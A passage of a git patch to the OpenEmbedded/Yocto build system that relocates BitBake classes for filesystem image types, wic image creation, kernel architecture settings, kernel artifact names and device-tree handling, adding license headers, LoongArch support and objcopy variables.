+ if [ -e ${IMAGE_NAME}${vname}.ubi ]; then
+ ln -sf ${IMAGE_NAME}${vname}.ubi \
+ ${IMAGE_LINK_NAME}${vname}.ubi
+ fi
+ cd -
+ fi
+}
+
+MULTIUBI_ARGS = "MKUBIFS_ARGS UBINIZE_ARGS"
+
+IMAGE_CMD:multiubi () {
+ ${@' '.join(['%s_%s="%s";' % (arg, name, d.getVar('%s_%s' % (arg, name))) for arg in d.getVar('MULTIUBI_ARGS').split() for name in d.getVar('MULTIUBI_BUILD').split()])}
+ # Split MKUBIFS_ARGS_<name> and UBINIZE_ARGS_<name>
+ for name in ${MULTIUBI_BUILD}; do
+ eval local mkubifs_args=\"\$MKUBIFS_ARGS_${name}\"
+ eval local ubinize_args=\"\$UBINIZE_ARGS_${name}\"
+
+ multiubi_mkfs "${mkubifs_args}" "${ubinize_args}" "${name}"
+ done
+}
+
+IMAGE_CMD:ubi () {
+ multiubi_mkfs "${MKUBIFS_ARGS}" "${UBINIZE_ARGS}"
+}
+IMAGE_TYPEDEP:ubi = "${UBI_IMGTYPE}"
+
+IMAGE_CMD:ubifs = "mkfs.ubifs -r ${IMAGE_ROOTFS} -o ${IMGDEPLOYDIR}/${IMAGE_NAME}.ubifs ${MKUBIFS_ARGS}"
+
+MIN_F2FS_SIZE ?= "524288"
+IMAGE_CMD:f2fs () {
+ # We need to add additional smarts here form devices smaller than 1.5G
+ # Need to scale appropriately between 40M -> 1.5G as the "overprovision
+ # ratio" goes down as the device gets bigger (70% -> 4.5%), below about
+ # 500M the standard IMAGE_OVERHEAD_FACTOR does not work, so add additional
+ # space here when under 500M
+ size=${ROOTFS_SIZE}
+ if [ ${size} -lt ${MIN_F2FS_SIZE} ] ; then
+ size=${MIN_F2FS_SIZE}
+ bbwarn "Rootfs size is too small for F2FS. Filesystem will be extended to ${size}K"
+ fi
+ dd if=/dev/zero of=${IMGDEPLOYDIR}/${IMAGE_NAME}.f2fs seek=${size} count=0 bs=1024
+ mkfs.f2fs ${EXTRA_IMAGECMD} ${IMGDEPLOYDIR}/${IMAGE_NAME}.f2fs
+ sload.f2fs -f ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}.f2fs
+}
+
+EXTRA_IMAGECMD = ""
+
+inherit siteinfo kernel-arch image-artifact-names
+
+JFFS2_ENDIANNESS ?= "${@oe.utils.conditional('SITEINFO_ENDIANNESS', 'le', '-l', '-b', d)}"
+JFFS2_ERASEBLOCK ?= "0x40000"
+EXTRA_IMAGECMD:jffs2 ?= "--pad ${JFFS2_ENDIANNESS} --eraseblock=${JFFS2_ERASEBLOCK} --no-cleanmarkers"
+
+# Change these if you want default mkfs behavior (i.e. create minimal inode number)
+EXTRA_IMAGECMD:ext2 ?= "-i 4096"
+EXTRA_IMAGECMD:ext3 ?= "-i 4096"
+EXTRA_IMAGECMD:ext4 ?= "-i 4096"
+EXTRA_IMAGECMD:btrfs ?= "-n 4096 --shrink"
+EXTRA_IMAGECMD:f2fs ?= ""
+
+# If a specific FAT size is needed, set it here (e.g. "-F 32"/"-F 16"/"-F 12")
+# otherwise mkfs.vfat will automatically pick one.
+EXTRA_IMAGECMD:vfat ?= ""
+
+do_image_cpio[depends] += "cpio-native:do_populate_sysroot"
+do_image_jffs2[depends] += "mtd-utils-native:do_populate_sysroot"
+do_image_cramfs[depends] += "util-linux-native:do_populate_sysroot"
+do_image_ext2[depends] += "e2fsprogs-native:do_populate_sysroot"
+do_image_ext3[depends] += "e2fsprogs-native:do_populate_sysroot"
+do_image_ext4[depends] += "e2fsprogs-native:do_populate_sysroot"
+do_image_btrfs[depends] += "btrfs-tools-native:do_populate_sysroot"
+do_image_squashfs[depends] += "squashfs-tools-native:do_populate_sysroot"
+do_image_squashfs_xz[depends] += "squashfs-tools-native:do_populate_sysroot"
+do_image_squashfs_lzo[depends] += "squashfs-tools-native:do_populate_sysroot"
+do_image_squashfs_lz4[depends] += "squashfs-tools-native:do_populate_sysroot"
+do_image_squashfs_zst[depends] += "squashfs-tools-native:do_populate_sysroot"
+do_image_ubi[depends] += "mtd-utils-native:do_populate_sysroot"
+do_image_ubifs[depends] += "mtd-utils-native:do_populate_sysroot"
+do_image_multiubi[depends] += "mtd-utils-native:do_populate_sysroot"
+do_image_f2fs[depends] += "f2fs-tools-native:do_populate_sysroot"
+do_image_erofs[depends] += "erofs-utils-native:do_populate_sysroot"
+do_image_erofs_lz4[depends] += "erofs-utils-native:do_populate_sysroot"
+do_image_erofs_lz4hc[depends] += "erofs-utils-native:do_populate_sysroot"
+do_image_vfat[depends] += "dosfstools-native:do_populate_sysroot mtools-native:do_populate_sysroot"
+
+# This variable is available to request which values are suitable for IMAGE_FSTYPES
+IMAGE_TYPES = " \
+ jffs2 jffs2.sum \
+ cramfs \
+ ext2 ext2.gz ext2.bz2 ext2.lzma \
+ ext3 ext3.gz \
+ ext4 ext4.gz \
+ btrfs \
+ vfat \
+ squashfs squashfs-xz squashfs-lzo squashfs-lz4 squashfs-zst \
+ ubi ubifs multiubi \
+ tar tar.gz tar.bz2 tar.xz tar.lz4 tar.zst \
+ cpio cpio.gz cpio.xz cpio.lzma cpio.lz4 cpio.zst \
+ wic wic.gz wic.bz2 wic.lzma wic.zst \
+ container \
+ f2fs \
+ erofs erofs-lz4 erofs-lz4hc \
+"
+# These image types are x86 specific as they need syslinux
+IMAGE_TYPES:append:x86 = " hddimg iso"
+IMAGE_TYPES:append:x86-64 = " hddimg iso"
+
+# Compression is a special case of conversion. The old variable
+# names are still supported for backward-compatibility. When defining
+# new compression or conversion commands, use CONVERSIONTYPES and
+# CONVERSION_CMD/DEPENDS.
+COMPRESSIONTYPES ?= ""
+
+CONVERSIONTYPES = "gz bz2 lzma xz lz4 lzo zip 7zip zst sum md5sum sha1sum sha224sum sha256sum sha384sum sha512sum bmap u-boot vmdk vhd vhdx vdi qcow2 base64 gzsync zsync ${COMPRESSIONTYPES}"
+CONVERSION_CMD:lzma = "lzma -k -f -7 ${IMAGE_NAME}.${type}"
+CONVERSION_CMD:gz = "gzip -f -9 -n -c --rsyncable ${IMAGE_NAME}.${type} > ${IMAGE_NAME}.${type}.gz"
+CONVERSION_CMD:bz2 = "pbzip2 -f -k ${IMAGE_NAME}.${type}"
+CONVERSION_CMD:xz = "xz -f -k -c ${XZ_COMPRESSION_LEVEL} ${XZ_DEFAULTS} --check=${XZ_INTEGRITY_CHECK} ${IMAGE_NAME}.${type} > ${IMAGE_NAME}.${type}.xz"
+CONVERSION_CMD:lz4 = "lz4 -9 -z -l ${IMAGE_NAME}.${type} ${IMAGE_NAME}.${type}.lz4"
+CONVERSION_CMD:lzo = "lzop -9 ${IMAGE_NAME}.${type}"
+CONVERSION_CMD:zip = "zip ${ZIP_COMPRESSION_LEVEL} ${IMAGE_NAME}.${type}.zip ${IMAGE_NAME}.${type}"
+CONVERSION_CMD:7zip = "7za a -mx=${7ZIP_COMPRESSION_LEVEL} -mm=${7ZIP_COMPRESSION_METHOD} ${IMAGE_NAME}.${type}.${7ZIP_EXTENSION} ${IMAGE_NAME}.${type}"
+CONVERSION_CMD:zst = "zstd -f -k -c ${ZSTD_DEFAULTS} ${IMAGE_NAME}.${type} > ${IMAGE_NAME}.${type}.zst"
+CONVERSION_CMD:sum = "sumtool -i ${IMAGE_NAME}.${type} -o ${IMAGE_NAME}.${type}.sum ${JFFS2_SUM_EXTRA_ARGS}"
+CONVERSION_CMD:md5sum = "md5sum ${IMAGE_NAME}.${type} > ${IMAGE_NAME}.${type}.md5sum"
+CONVERSION_CMD:sha1sum = "sha1sum ${IMAGE_NAME}.${type} > ${IMAGE_NAME}.${type}.sha1sum"
+CONVERSION_CMD:sha224sum = "sha224sum ${IMAGE_NAME}.${type} > ${IMAGE_NAME}.${type}.sha224sum"
+CONVERSION_CMD:sha256sum = "sha256sum ${IMAGE_NAME}.${type} > ${IMAGE_NAME}.${type}.sha256sum"
+CONVERSION_CMD:sha384sum = "sha384sum ${IMAGE_NAME}.${type} > ${IMAGE_NAME}.${type}.sha384sum"
+CONVERSION_CMD:sha512sum = "sha512sum ${IMAGE_NAME}.${type} > ${IMAGE_NAME}.${type}.sha512sum"
+CONVERSION_CMD:bmap = "bmaptool create ${IMAGE_NAME}.${type} -o ${IMAGE_NAME}.${type}.bmap"
+CONVERSION_CMD:u-boot = "mkimage -A ${UBOOT_ARCH} -O linux -T ramdisk -C none -n ${IMAGE_NAME} -d ${IMAGE_NAME}.${type} ${IMAGE_NAME}.${type}.u-boot"
+CONVERSION_CMD:vmdk = "qemu-img convert -O vmdk ${IMAGE_NAME}.${type} ${IMAGE_NAME}.${type}.vmdk"
+CONVERSION_CMD:vhdx = "qemu-img convert -O vhdx -o subformat=dynamic ${IMAGE_NAME}.${type} ${IMAGE_NAME}.${type}.vhdx"
+CONVERSION_CMD:vhd = "qemu-img convert -O vpc -o subformat=fixed ${IMAGE_NAME}.${type} ${IMAGE_NAME}.${type}.vhd"
+CONVERSION_CMD:vdi = "qemu-img convert -O vdi ${IMAGE_NAME}.${type} ${IMAGE_NAME}.${type}.vdi"
+CONVERSION_CMD:qcow2 = "qemu-img convert -O qcow2 ${IMAGE_NAME}.${type} ${IMAGE_NAME}.${type}.qcow2"
+CONVERSION_CMD:base64 = "base64 ${IMAGE_NAME}.${type} > ${IMAGE_NAME}.${type}.base64"
+CONVERSION_CMD:zsync = "zsyncmake_curl ${IMAGE_NAME}.${type}"
+CONVERSION_CMD:gzsync = "zsyncmake_curl -z ${IMAGE_NAME}.${type}"
+CONVERSION_DEPENDS_lzma = "xz-native"
+CONVERSION_DEPENDS_gz = "pigz-native"
+CONVERSION_DEPENDS_bz2 = "pbzip2-native"
+CONVERSION_DEPENDS_xz = "xz-native"
+CONVERSION_DEPENDS_lz4 = "lz4-native"
+CONVERSION_DEPENDS_lzo = "lzop-native"
+CONVERSION_DEPENDS_zip = "zip-native"
+CONVERSION_DEPENDS_7zip = "p7zip-native"
+CONVERSION_DEPENDS_zst = "zstd-native"
+CONVERSION_DEPENDS_sum = "mtd-utils-native"
+CONVERSION_DEPENDS_bmap = "bmaptool-native"
+CONVERSION_DEPENDS_u-boot = "u-boot-tools-native"
+CONVERSION_DEPENDS_vmdk = "qemu-system-native"
+CONVERSION_DEPENDS_vdi = "qemu-system-native"
+CONVERSION_DEPENDS_qcow2 = "qemu-system-native"
+CONVERSION_DEPENDS_base64 = "coreutils-native"
+CONVERSION_DEPENDS_vhdx = "qemu-system-native"
+CONVERSION_DEPENDS_vhd = "qemu-system-native"
+CONVERSION_DEPENDS_zsync = "zsync-curl-native"
+CONVERSION_DEPENDS_gzsync = "zsync-curl-native"
+
+RUNNABLE_IMAGE_TYPES ?= "ext2 ext3 ext4"
+RUNNABLE_MACHINE_PATTERNS ?= "qemu"
+
+DEPLOYABLE_IMAGE_TYPES ?= "hddimg iso"
+
+# The IMAGE_TYPES_MASKED variable will be used to mask out from the IMAGE_FSTYPES,
+# images that will not be built at do_rootfs time: vmdk, vhd, vhdx, vdi, qcow2, hddimg, iso, etc.
+IMAGE_TYPES_MASKED ?= ""
+
+# bmap requires python3 to be in the PATH
+EXTRANATIVEPATH += "${@'python3-native' if d.getVar('IMAGE_FSTYPES').find('.bmap') else ''}"
diff --git a/meta/classes/image_types_wic.bbclass b/meta/classes-recipe/image_types_wic.bbclass
index 7b1db50a28..cf3be909b3 100644
--- a/meta/classes/image_types_wic.bbclass
+++ b/meta/classes-recipe/image_types_wic.bbclass
@@ -1,12 +1,44 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# The WICVARS variable is used to define list of bitbake variables used in wic code
# variables from this list is written to <image>.env file
WICVARS ?= "\
- BBLAYERS IMGDEPLOYDIR DEPLOY_DIR_IMAGE FAKEROOTCMD IMAGE_BASENAME IMAGE_BOOT_FILES \
- IMAGE_LINK_NAME IMAGE_ROOTFS INITRAMFS_FSTYPES INITRD INITRD_LIVE ISODIR RECIPE_SYSROOT_NATIVE \
- ROOTFS_SIZE STAGING_DATADIR STAGING_DIR STAGING_LIBDIR TARGET_SYS \
- KERNEL_IMAGETYPE MACHINE INITRAMFS_IMAGE INITRAMFS_IMAGE_BUNDLE INITRAMFS_LINK_NAME APPEND"
-
-inherit ${@bb.utils.contains('INITRAMFS_IMAGE_BUNDLE', '1', 'kernel-artifact-names', '', d)}
+ APPEND \
+ ASSUME_PROVIDED \
+ BBLAYERS \
+ DEPLOY_DIR_IMAGE \
+ FAKEROOTCMD \
+ HOSTTOOLS_DIR \
+ IMAGE_BASENAME \
+ IMAGE_BOOT_FILES \
+ IMAGE_EFI_BOOT_FILES \
+ IMAGE_LINK_NAME \
+ IMAGE_ROOTFS \
+ IMGDEPLOYDIR \
+ INITRAMFS_FSTYPES \
+ INITRAMFS_IMAGE \
+ INITRAMFS_IMAGE_BUNDLE \
+ INITRAMFS_LINK_NAME \
+ INITRD \
+ INITRD_LIVE \
+ ISODIR \
+ KERNEL_IMAGETYPE \
+ MACHINE \
+ PSEUDO_IGNORE_PATHS \
+ RECIPE_SYSROOT_NATIVE \
+ ROOTFS_SIZE \
+ STAGING_DATADIR \
+ STAGING_DIR \
+ STAGING_DIR_HOST \
+ STAGING_LIBDIR \
+ TARGET_SYS \
+"
+
+inherit_defer ${@bb.utils.contains('INITRAMFS_IMAGE_BUNDLE', '1', 'kernel-artifact-names', '', d)}
WKS_FILE ??= "${IMAGE_BASENAME}.${MACHINE}.wks"
WKS_FILES ?= "${WKS_FILE} ${IMAGE_BASENAME}.wks"
@@ -25,19 +57,44 @@ def wks_search(files, search_path):
WIC_CREATE_EXTRA_ARGS ?= ""
-IMAGE_CMD_wic () {
+IMAGE_CMD:wic () {
out="${IMGDEPLOYDIR}/${IMAGE_NAME}"
build_wic="${WORKDIR}/build-wic"
+ tmp_wic="${WORKDIR}/tmp-wic"
wks="${WKS_FULL_PATH}"
+ if [ -e "$tmp_wic" ]; then
+ # Ensure we don't have any junk leftover from a previously interrupted
+ # do_image_wic execution
+ rm -rf "$tmp_wic"
+ fi
if [ -z "$wks" ]; then
bbfatal "No kickstart files from WKS_FILES were found: ${WKS_FILES}. Please set WKS_FILE or WKS_FILES appropriately."
fi
- BUILDDIR="${TOPDIR}" PSEUDO_UNLOAD=1 wic create "$wks" --vars "${STAGING_DIR}/${MACHINE}/imgdata/" -e "${IMAGE_BASENAME}" -o "$build_wic/" ${WIC_CREATE_EXTRA_ARGS}
- mv "$build_wic/$(basename "${wks%.wks}")"*.direct "$out${IMAGE_NAME_SUFFIX}.wic"
+ BUILDDIR="${TOPDIR}" PSEUDO_UNLOAD=1 wic create "$wks" --vars "${STAGING_DIR}/${MACHINE}/imgdata/" -e "${IMAGE_BASENAME}" -o "$build_wic/" -w "$tmp_wic" ${WIC_CREATE_EXTRA_ARGS}
+
+ # look to see if the user specifies a custom imager
+ IMAGER=direct
+ eval set -- "${WIC_CREATE_EXTRA_ARGS} --"
+ while [ 1 ]; do
+ case "$1" in
+ --imager|-i)
+ shift
+ IMAGER=$1
+ ;;
+ --)
+ shift
+ break
+ ;;
+ esac
+ shift
+ done
+ mv "$build_wic/$(basename "${wks%.wks}")"*.${IMAGER} "$out.wic"
}
-IMAGE_CMD_wic[vardepsexclude] = "WKS_FULL_PATH WKS_FILES TOPDIR"
+IMAGE_CMD:wic[vardepsexclude] = "WKS_FULL_PATH WKS_FILES TOPDIR"
do_image_wic[cleandirs] = "${WORKDIR}/build-wic"
+PSEUDO_IGNORE_PATHS .= ",${WORKDIR}/build-wic"
+
# Rebuild when the wks file or vars in WICVARS change
USING_WIC = "${@bb.utils.contains_any('IMAGE_FSTYPES', 'wic ' + ' '.join('wic.%s' % c for c in '${CONVERSIONTYPES}'.split()), '1', '', d)}"
WKS_FILE_CHECKSUM = "${@'${WKS_FULL_PATH}:%s' % os.path.exists('${WKS_FULL_PATH}') if '${USING_WIC}' else ''}"
@@ -49,11 +106,13 @@ do_image_wic[recrdeptask] += "do_deploy"
do_image_wic[deptask] += "do_image_complete"
WKS_FILE_DEPENDS_DEFAULT = '${@bb.utils.contains_any("BUILD_ARCH", [ 'x86_64', 'i686' ], "syslinux-native", "",d)}'
-WKS_FILE_DEPENDS_DEFAULT += "bmap-tools-native cdrtools-native btrfs-tools-native squashfs-tools-native e2fsprogs-native"
+WKS_FILE_DEPENDS_DEFAULT += "bmaptool-native cdrtools-native btrfs-tools-native squashfs-tools-native e2fsprogs-native erofs-utils-native"
+# Unified kernel images need objcopy
+WKS_FILE_DEPENDS_DEFAULT += "virtual/${TARGET_PREFIX}binutils"
WKS_FILE_DEPENDS_BOOTLOADERS = ""
-WKS_FILE_DEPENDS_BOOTLOADERS_x86 = "syslinux grub-efi systemd-boot"
-WKS_FILE_DEPENDS_BOOTLOADERS_x86-64 = "syslinux grub-efi systemd-boot"
-WKS_FILE_DEPENDS_BOOTLOADERS_x86-x32 = "syslinux grub-efi"
+WKS_FILE_DEPENDS_BOOTLOADERS:x86 = "syslinux grub-efi systemd-boot os-release"
+WKS_FILE_DEPENDS_BOOTLOADERS:x86-64 = "syslinux grub-efi systemd-boot os-release"
+WKS_FILE_DEPENDS_BOOTLOADERS:x86-x32 = "syslinux grub-efi"
WKS_FILE_DEPENDS ??= "${WKS_FILE_DEPENDS_DEFAULT} ${WKS_FILE_DEPENDS_BOOTLOADERS}"
diff --git a/meta/classes/kernel-arch.bbclass b/meta/classes-recipe/kernel-arch.bbclass
index 07ec242e63..b32f6137a2 100644
--- a/meta/classes/kernel-arch.bbclass
+++ b/meta/classes-recipe/kernel-arch.bbclass
@@ -1,4 +1,10 @@
#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+#
# set the ARCH environment variable for kernel compilation (including
# modules). return value must match one of the architecture directories
# in the kernel source "arch" directory
@@ -13,6 +19,7 @@ valid_archs = "alpha cris ia64 \
sh sh64 um h8300 \
parisc s390 v850 \
avr32 blackfin \
+ loongarch64 \
microblaze \
nios2 arc riscv xtensa"
@@ -28,6 +35,7 @@ def map_kernel_arch(a, d):
elif re.match('aarch64_be$', a): return 'arm64'
elif re.match('aarch64_ilp32$', a): return 'arm64'
elif re.match('aarch64_be_ilp32$', a): return 'arm64'
+ elif re.match('loongarch(32|64|)$', a): return 'loongarch'
elif re.match('mips(isa|)(32|64|)(r6|)(el|)$', a): return 'mips'
elif re.match('mcf', a): return 'm68k'
elif re.match('riscv(32|64|)(eb|)$', a): return 'riscv'
@@ -60,9 +68,13 @@ TARGET_LD_KERNEL_ARCH ?= ""
HOST_LD_KERNEL_ARCH ?= "${TARGET_LD_KERNEL_ARCH}"
TARGET_AR_KERNEL_ARCH ?= ""
HOST_AR_KERNEL_ARCH ?= "${TARGET_AR_KERNEL_ARCH}"
+TARGET_OBJCOPY_KERNEL_ARCH ?= ""
+HOST_OBJCOPY_KERNEL_ARCH ?= "${TARGET_OBJCOPY_KERNEL_ARCH}"
-KERNEL_CC = "${CCACHE}${HOST_PREFIX}gcc ${HOST_CC_KERNEL_ARCH} -fuse-ld=bfd ${DEBUG_PREFIX_MAP} -fdebug-prefix-map=${STAGING_KERNEL_DIR}=${KERNEL_SRC_PATH}"
-KERNEL_LD = "${CCACHE}${HOST_PREFIX}ld.bfd ${HOST_LD_KERNEL_ARCH}"
-KERNEL_AR = "${CCACHE}${HOST_PREFIX}ar ${HOST_AR_KERNEL_ARCH}"
-TOOLCHAIN = "gcc"
-
+KERNEL_CC = "${CCACHE}${HOST_PREFIX}gcc ${HOST_CC_KERNEL_ARCH} -fuse-ld=bfd ${DEBUG_PREFIX_MAP} -fdebug-prefix-map=${STAGING_KERNEL_DIR}=${KERNEL_SRC_PATH} -fdebug-prefix-map=${STAGING_KERNEL_BUILDDIR}=${KERNEL_SRC_PATH}"
+KERNEL_LD = "${HOST_PREFIX}ld.bfd ${HOST_LD_KERNEL_ARCH}"
+KERNEL_AR = "${HOST_PREFIX}ar ${HOST_AR_KERNEL_ARCH}"
+KERNEL_OBJCOPY = "${HOST_PREFIX}objcopy ${HOST_OBJCOPY_KERNEL_ARCH}"
+# Code in package.py can't handle options on KERNEL_STRIP
+KERNEL_STRIP = "${HOST_PREFIX}strip"
+TOOLCHAIN ?= "gcc"
diff --git a/meta/classes-recipe/kernel-artifact-names.bbclass b/meta/classes-recipe/kernel-artifact-names.bbclass
new file mode 100644
index 0000000000..1a7611a15e
--- /dev/null
+++ b/meta/classes-recipe/kernel-artifact-names.bbclass
@@ -0,0 +1,37 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+##################################################################
+# Specific kernel creation info
+# for recipes/bbclasses which need to reuse some of the kernel
+# artifacts, but aren't kernel recipes themselves
+##################################################################
+
+inherit image-artifact-names
+
+KERNEL_ARTIFACT_NAME ?= "${PKGE}-${PKGV}-${PKGR}${IMAGE_MACHINE_SUFFIX}${IMAGE_VERSION_SUFFIX}"
+KERNEL_ARTIFACT_LINK_NAME ?= "${MACHINE}"
+KERNEL_ARTIFACT_BIN_EXT ?= ".bin"
+
+KERNEL_IMAGE_NAME ?= "${KERNEL_ARTIFACT_NAME}"
+KERNEL_IMAGE_LINK_NAME ?= "${KERNEL_ARTIFACT_LINK_NAME}"
+KERNEL_IMAGE_BIN_EXT ?= "${KERNEL_ARTIFACT_BIN_EXT}"
+KERNEL_IMAGETYPE_SYMLINK ?= "1"
+
+KERNEL_DTB_NAME ?= "${KERNEL_ARTIFACT_NAME}"
+KERNEL_DTB_LINK_NAME ?= "${KERNEL_ARTIFACT_LINK_NAME}"
+KERNEL_DTB_BIN_EXT ?= "${KERNEL_ARTIFACT_BIN_EXT}"
+
+KERNEL_FIT_NAME ?= "${KERNEL_ARTIFACT_NAME}"
+KERNEL_FIT_LINK_NAME ?= "${KERNEL_ARTIFACT_LINK_NAME}"
+KERNEL_FIT_BIN_EXT ?= "${KERNEL_ARTIFACT_BIN_EXT}"
+
+MODULE_TARBALL_NAME ?= "${KERNEL_ARTIFACT_NAME}"
+MODULE_TARBALL_LINK_NAME ?= "${KERNEL_ARTIFACT_LINK_NAME}"
+MODULE_TARBALL_DEPLOY ?= "1"
+
+INITRAMFS_NAME ?= "initramfs-${KERNEL_ARTIFACT_NAME}"
+INITRAMFS_LINK_NAME ?= "initramfs-${KERNEL_ARTIFACT_LINK_NAME}"
diff --git a/meta/classes-recipe/kernel-devicetree.bbclass b/meta/classes-recipe/kernel-devicetree.bbclass
new file mode 100644
index 0000000000..eff052b402
--- /dev/null
+++ b/meta/classes-recipe/kernel-devicetree.bbclass
@@ -0,0 +1,139 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# Support for device tree generation
+python () {
+ if not bb.data.inherits_class('nopackages', d):
+ d.appendVar("PACKAGES", " ${KERNEL_PACKAGE_NAME}-devicetree")
+ if d.getVar('KERNEL_DEVICETREE_BUNDLE') == '1':
+ d.appendVar("PACKAGES", " ${KERNEL_PACKAGE_NAME}-image-zimage-bundle")
+}
+
+# recursivly search for devicetree files
+FILES:${KERNEL_PACKAGE_NAME}-devicetree = " \
+ /${KERNEL_DTBDEST}/**/*.dtb \
+ /${KERNEL_DTBDEST}/**/*.dtbo \
+"
+
+FILES:${KERNEL_PACKAGE_NAME}-image-zimage-bundle = "/${KERNEL_IMAGEDEST}/zImage-*.dtb.bin"
+
+# Generate kernel+devicetree bundle
+KERNEL_DEVICETREE_BUNDLE ?= "0"
+
+# dtc flags passed via DTC_FLAGS env variable
+KERNEL_DTC_FLAGS ?= ""
+
+normalize_dtb () {
+ dtb="$1"
+ if echo $dtb | grep -q '/dts/'; then
+ bbwarn "$dtb contains the full path to the the dts file, but only the dtb name should be used."
+ dtb=`basename $dtb | sed 's,\.dts$,.dtb,g'`
+ fi
+ echo "$dtb"
+}
+
+get_real_dtb_path_in_kernel () {
+ dtb="$1"
+ dtb_path="${B}/arch/${ARCH}/boot/dts/$dtb"
+ if [ ! -e "$dtb_path" ]; then
+ dtb_path="${B}/arch/${ARCH}/boot/$dtb"
+ fi
+ echo "$dtb_path"
+}
+
+do_configure:append() {
+ if [ "${KERNEL_DEVICETREE_BUNDLE}" = "1" ]; then
+ if echo ${KERNEL_IMAGETYPE_FOR_MAKE} | grep -q 'zImage'; then
+ case "${ARCH}" in
+ "arm")
+ config="${B}/.config"
+ if ! grep -q 'CONFIG_ARM_APPENDED_DTB=y' $config; then
+ bbwarn 'CONFIG_ARM_APPENDED_DTB is NOT enabled in the kernel. Enabling it to allow the kernel to boot with the Device Tree appended!'
+ sed -i "/CONFIG_ARM_APPENDED_DTB[ =]/d" $config
+ echo "CONFIG_ARM_APPENDED_DTB=y" >> $config
+ echo "# CONFIG_ARM_ATAG_DTB_COMPAT is not set" >> $config
+ fi
+ ;;
+ *)
+ bberror "KERNEL_DEVICETREE_BUNDLE is not supported for ${ARCH}. Currently it is only supported for 'ARM'."
+ esac
+ else
+ bberror 'The KERNEL_DEVICETREE_BUNDLE requires the KERNEL_IMAGETYPE to contain zImage.'
+ fi
+ fi
+}
+
+do_compile:append() {
+ if [ -n "${KERNEL_DTC_FLAGS}" ]; then
+ export DTC_FLAGS="${KERNEL_DTC_FLAGS}"
+ fi
+
+ for dtbf in ${KERNEL_DEVICETREE}; do
+ dtb=`normalize_dtb "$dtbf"`
+ oe_runmake $dtb CC="${KERNEL_CC} $cc_extra " LD="${KERNEL_LD}" OBJCOPY="${KERNEL_OBJCOPY}" STRIP="${KERNEL_STRIP}" ${KERNEL_EXTRA_ARGS}
+ done
+}
+
+do_install:append() {
+ install -d ${D}/${KERNEL_DTBDEST}
+ for dtbf in ${KERNEL_DEVICETREE}; do
+ dtb=`normalize_dtb "$dtbf"`
+ dtb_path=`get_real_dtb_path_in_kernel "$dtb"`
+ if "${@'false' if oe.types.boolean(d.getVar('KERNEL_DTBVENDORED')) else 'true'}"; then
+ dtb_ext=${dtb##*.}
+ dtb_base_name=`basename $dtb .$dtb_ext`
+ dtb=$dtb_base_name.$dtb_ext
+ fi
+ install -Dm 0644 $dtb_path ${D}/${KERNEL_DTBDEST}/$dtb
+ done
+}
+
+do_deploy:append() {
+ for dtbf in ${KERNEL_DEVICETREE}; do
+ dtb=`normalize_dtb "$dtbf"`
+ dtb_ext=${dtb##*.}
+ dtb_base_name=`basename $dtb .$dtb_ext`
+ install -d $deployDir
+ if "${@'false' if oe.types.boolean(d.getVar('KERNEL_DTBVENDORED')) else 'true'}"; then
+ dtb=$dtb_base_name.$dtb_ext
+ fi
+ install -m 0644 ${D}/${KERNEL_DTBDEST}/$dtb $deployDir/$dtb_base_name.$dtb_ext
+ if [ -n "${KERNEL_DTB_NAME}" ] ; then
+ ln -sf $dtb_base_name.$dtb_ext $deployDir/$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext
+ fi
+ if [ -n "${KERNEL_DTB_LINK_NAME}" ] ; then
+ ln -sf $dtb_base_name.$dtb_ext $deployDir/$dtb_base_name-${KERNEL_DTB_LINK_NAME}.$dtb_ext
+ fi
+ for type in ${KERNEL_IMAGETYPE_FOR_MAKE}; do
+ if [ "$type" = "zImage" ] && [ "${KERNEL_DEVICETREE_BUNDLE}" = "1" ]; then
+ cat ${D}/${KERNEL_IMAGEDEST}/$type \
+ $deployDir/$dtb_base_name.$dtb_ext \
+ > $deployDir/$type-$dtb_base_name.$dtb_ext${KERNEL_DTB_BIN_EXT}
+ if [ -n "${KERNEL_DTB_NAME}" ]; then
+ ln -sf $type-$dtb_base_name.$dtb_ext${KERNEL_DTB_BIN_EXT} \
+ $deployDir/$type-$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext${KERNEL_DTB_BIN_EXT}
+ fi
+ if [ -n "${KERNEL_DTB_LINK_NAME}" ]; then
+ ln -sf $type-$dtb_base_name.$dtb_ext${KERNEL_DTB_BIN_EXT} \
+ $deployDir/$type-$dtb_base_name-${KERNEL_DTB_LINK_NAME}.$dtb_ext${KERNEL_DTB_BIN_EXT}
+ fi
+ if [ -e "${KERNEL_OUTPUT_DIR}/${type}.initramfs" ]; then
+ cat ${KERNEL_OUTPUT_DIR}/${type}.initramfs \
+ $deployDir/$dtb_base_name.$dtb_ext \
+ > $deployDir/${type}-${INITRAMFS_NAME}-$dtb_base_name.$dtb_ext${KERNEL_DTB_BIN_EXT}
+ if [ -n "${KERNEL_DTB_NAME}" ]; then
+ ln -sf ${type}-${INITRAMFS_NAME}-$dtb_base_name.$dtb_ext${KERNEL_DTB_BIN_EXT} \
+ $deployDir/${type}-${INITRAMFS_NAME}-$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext${KERNEL_DTB_BIN_EXT}
+ fi
+ if [ -n "${KERNEL_DTB_LINK_NAME}" ]; then
+ ln -sf ${type}-${INITRAMFS_NAME}-$dtb_base_name.$dtb_ext${KERNEL_DTB_BIN_EXT} \
+ $deployDir/${type}-${INITRAMFS_NAME}-$dtb_base_name-${KERNEL_DTB_LINK_NAME}.$dtb_ext${KERNEL_DTB_BIN_EXT}
+ fi
+ fi
+ fi
+ done
+ done
+}
diff --git a/meta/classes-recipe/kernel-fitimage.bbclass b/meta/classes-recipe/kernel-fitimage.bbclass
new file mode 100644
index 0000000000..4b74ddc201
--- /dev/null
+++ b/meta/classes-recipe/kernel-fitimage.bbclass
@@ -0,0 +1,881 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+inherit kernel-uboot kernel-artifact-names uboot-config
+
+def get_fit_replacement_type(d):
+ kerneltypes = d.getVar('KERNEL_IMAGETYPES') or ""
+ replacementtype = ""
+ if 'fitImage' in kerneltypes.split():
